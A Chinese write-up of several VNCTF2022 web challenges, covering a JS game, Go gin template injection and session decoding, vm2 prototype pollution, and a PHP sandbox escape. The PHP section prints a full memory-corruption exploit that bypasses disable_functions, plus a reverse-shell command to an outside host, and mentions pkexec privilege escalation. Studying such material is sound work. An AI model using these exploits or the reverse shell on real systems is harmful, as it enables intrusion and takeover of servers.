VNCTF2022公开赛

web

web1-GameV4.0

打开题目就是做游戏、那就先试试吧

同时还要监视一下数据的走向

image-20220323174603794

结果发现是没有流量的、是一个静态的、就算是吧游戏通关也是没有数据包发送的。

不用想了、flag肯定藏在那个地方了

搜先想到的就是网站的js文件里面

image-20220323174752434

打开调试器

image-20220323174848025

下面就要发动做题打法------>搜flag

小可爱在这里

先base64解码、然后再url解码

image-20220323175208223423410

web2-gocalc0

image-20220323181920985

有输入框、还是计算器、看看能不能算

image-20220323181949587

是可以算的。

直接geflag

在session里面、那肯定是有session的认证了

image-20220323182008362

对于这种输入框计算的、一般打概率我们是需要尝试模板注入的的

预期解

直接尝试模板注入

查看源码、go的SSTI 利用 printf 和占位符打印出源码,payload:

1
2
{{.}}
{{printf "%+v" .}}

注意这个是记录我们每次提交的session的、我们在发送数据包的时候需要将、之前的session给删除

image-20220323183220541

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
map[s0uR3e:package main

import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"

"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {
return "", err
}
t := reflect.ValueOf(result).Type().Kind()

if t == reflect.Int {
return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
return result.(string), nil
} else {
return "", fmt.Errorf("not valid type")
}
}

func (e Eval) String() string {
res, err := e.Result()
if err != nil {
fmt.Println(err)
res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
session := sessions.Default(c)

var his string

if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}

fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{
"s0uR3e": source,
}); err != nil {
fmt.Println(err)
}
}

func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}

r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e")) #cookie的加密方式
r.Use(sessions.Sessions("session", store))

r.GET("/", func(c *gin.Context) {
render(c)
})

r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})

r.POST("/", func(c *gin.Context) {
session := sessions.Default(c)

var his string

if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}

eval := Eval{}
if err := c.ShouldBind(&eval); err == nil {
his = his + eval.String() + "<br/>" #执行命令的入口
}
session.Set("history", his)
session.Save()
render(c)
})

r.Run(fmt.Sprintf(":%s", port))
}

拿到源码蒙了、这也不是flask的模板注入、不是python写的啊。

无奈.jpg

从大师傅的口中得知、是gin模版注入

用的是go语言、现在go是真的猛、

不管学深学浅、都是要学习一下的、小破站20节课快速入门

什么是gin

思路:

作者已经将flag获取了、然后就是使用自己的加密方式然后进行了加密、然后卸载我们的session中了、但是我们又没有办法直接使用这个解密方式进行解密。

解题:

我们只需要使用相同的方式起一个flask的环境、然后对session进行解密

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package main

import (
_ "embed"
"fmt"
"os"

"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)

func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8888"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
c.String(200, session.Get("FLAG").(string))
})
r.Run(fmt.Sprintf(":%s", port))
}

自己起一个go的环境

image-20220325164749840

然后将上面得到的flag路由下生成的session、放到当前的路由上

image-20220325165919980

非预期

image-20220325164524163

直接点击flag在这里、

然后回回显、flag is in your session

然后直接抓包

image-20220325164632890

直接解码session

image-20220325164710698

web3-easyJ4va

复现的时候buu已经没有环境了

web4-newcalc0

image-20220325173028418

又是计算器、先试试

image-20220325173122365

flask的gin的都不对

看看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const express = require("express");
const path = require("path");
const vm2 = require("vm2"); //引用的vm2

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => { //计算器的路由
const e = req.body.e;
if (!e) {
res.send("wrong?");
return;
}
try {
res.send(vm.run("module.exports="+e)?.toString() ?? "no");
} catch (e) {
console.log(e)
res.send("wrong?");
}
});

app.use("/flag", (req, res) => { //flag路由
if(Object.keys(Object.prototype).length > 0) { //需要满足的条件
Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
res.send(process.env.FLAG);
} else {
res.send(Object.keys(Object.prototype));
}
})

app.use("/source", (req, res) => {
let p = req.query.path || "/src/index.js";
p = path.join(path.resolve("."), path.resolve(p));
console.log(p);
res.sendFile(p);
});

app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

根据上面js的源码我们可以知道这个是nodejs的vm2的沙箱、nodejs的原型链污染

nodejs沙箱与黑魔法

vm2实现原理分析

nods官方最新更新的原型链污染的漏洞

CVE-2022-21824

image-20220325174436856

然后也找到相关比赛的题目

DiceCTF 2022

image-20220325174556281

直接使用payload

1
console.table([{a:1}],['__proto__'])

image-20220325174721403

然后直接访问/flag路由

image-20220325174735198

web5-InterestingPHP

image-20220325175336521

上来就是一下明摆着的一句话、尝试执行命令

但是尝试无果、 phpinfo也被ban了

考点一:命令执行的绕过

尝试查看当前文件夹内的文件

无参数rce-文件读取

1
2
3
4
5
6
7
查看当前文件
print_r(scandir('.'));
查看disable——functions
var_dump(get_cfg_var("disable_functions"));
查看上级文件夹
print_r(scandir(dirname(getcwd()))); #无果
var_dump(ini_get_all()); #获取配置文件php.ini

发现disable_functions

绕过

常用的几个绕过的方法

GitHub上的php7通杀脚本

通过POST包、上传data数据流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
import requests

url = 'http://048b2d19-40c5-4c08-96f8-32d7b2e6e5c8.node4.buuoj.cn:81?exp=eval($_POST[a]);'

bypass = '''

pwn('whoami');
pwn('ls');
pwn('ls ../');
pwn("bash -c 'exec bash -i >& /dev/tcp/8.142.119.xxx/39001 0>&1'");
#pwn($_POST[1]);

function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;

public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}

private function go() {
$this->abc = &$this->filtername;

$this->make_uaf_obj();

$this->helper = new Helper;
$this->helper->b = function($x) {};

$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);

$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);

$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);

$this->prepare_leaker();

$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);

$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);

$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);

$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);

$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);

$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);

$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);

$this->cleanup();
($this->helper->b)(CMD);
}

private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fputs($this->uafp, "\x00");
}
}

private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);

$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}

private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}

private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}

private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fputs($this->hfp, "\x00");
}
}

private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}

private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}

static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}

'''

payload = {
'a' : bypass,
}

re = requests.post(url,data=payload).text

print(re)

然后反弹shell

1
pwn("bash -c 'exec bash -i >& /dev/tcp/8.142.119.xxx/39001 0>&1'");

image-20220325220823563

成功反弹、但是只有一个www权限、

提权

直接使用pkexec提权

CVE-2021-4034

下载完成后在本地编译、然后上传到目标机

image-20220325220727960

上传目标

image-20220325220749450

执行

image-20220325222940268